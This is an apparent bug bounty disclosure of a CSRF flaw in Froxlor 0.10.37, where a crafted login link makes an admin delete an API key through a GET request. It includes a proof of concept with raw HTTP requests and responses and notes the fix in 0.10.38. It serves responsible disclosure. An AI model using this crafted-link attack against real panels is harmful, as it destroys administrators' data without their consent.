CSRF on deleting an API key in froxlor/froxlor

2

Valid Reported on Aug 26th 2022

Description

An attacker can send a crafted link to a Froxlor admin. The admin, after clicking on the link and logging in, will redirect to the API key deletion endpoint, which is a GET request. This will result in deleting the API key with the specified id from the attacker.

Proof of Concept

```
1. Attacker sends the following link: `https://froxlordomain/index.php?scri
2. Admin clicks and logs in
3. API key deleted
```

This happens because of the way the login functionality works and the fact that the API key deletion request is a GET request. Upon logging in, the server will redirect the user to the API deletion endpoint and it will also append the session ID of the user in the URL. The result will be a fully authenticated API key deletion request. Here's an example:

Login request:

```
POST /index.php HTTP/2
Host: froxlordomain
Content-Length: 129
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://demo.froxlor.org
Content-Type: application/x-www-form-urlencoded
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://demo.froxlor.org/index.php?s=&script=admin_index.php&qryst
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

script=admin_index.php&qrystr=page%3Dapikeys%26action%3Ddelete%26id%3D2&log
```

Redirection request after logging in:

```
HTTP/2 302 Found
Date: Fri, 26 Aug 2022 12:25:48 GMT
Server: Apache
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src
X-Content-Security-Policy: default-src 'self'; script-src 'self'; connect-s
X-Webkit-Csp: default-src 'self'; script-src 'self'; connect-src 'self'; im
X-Xss-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Fri, 26 Aug 2022 12:25:48 GMT
Location: admin_index.php?s=0f7407c346fd6e9cd26f547c0efb3697&page=apikeys&a
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Cache-Control: private, must-revalidate
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

Redirection response:

```
GET /admin_index.php?s=0f7407c346fd6e9cd26f547c0efb3697&page=apikeys&actior
Host: froxlordomain
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Referer: https://froxlordomain/index.php?s=&script=admin_index.php&qrystr=p
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

Deletion response:

```
HTTP/2 200 OK
Date: Fri, 26 Aug 2022 12:26:45 GMT
Server: Apache
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src
X-Content-Security-Policy: default-src 'self'; script-src 'self'; connect-s
X-Webkit-Csp: default-src 'self'; script-src 'self'; connect-src 'self'; im
X-Xss-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Fri, 26 Aug 2022 12:26:45 GMT
```

```
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block

Cache-Control: private, must-revalidate
Content-Length: 8945
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8" />
    <meta http-equiv="Default-Style" content="text/css" />
    <meta name="robots" content="noindex, nofollow, noarchive" />
....
                <div class="success">
                    The api key with the id #2 has been removed successfull
                </div>
            </div>
...
```

Impact

Of course, there are some difficulties for an attacker to succeed, i.e.

1. The attacker must know a valid id of an API key
2. The victim admin must log in

Nevertheless, it is in my opinion an issue to consider. Critical requests such as deletion and addition of data should be done through a DELETE/PUT request accordingly. Or through a POST request but with proper CSRF protection.

Occurrences

api_keys.php L30

Receive the values of the parameters such as id through a POST request

CVE

CVE-2022-3017
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (4.3)

Registry
Other

Affected Version
0.10.37

Visibility
Public

Status
Fixed

Found by

vict0ni
@victoni
amateur

This report was seen 605 times.

We are processing your report and will contact the **froxlor** team within 24 hours. 3 months ago

We have contacted a member of the **froxlor** team and are waiting to hear back 3 months ago

A **froxlor/froxlor** maintainer validated this vulnerability 3 months ago

Valid, will be fixed shortly, thanks for the info

vict0ni has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

vict0ni 3 months ago Researcher

Cheers, have a great day

A froxlor/froxlor maintainer marked this as fixed in 0.10.38 with commit bbe822 3 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

api_keys.php#L30 has been validated ✓

Sign in to join this conversation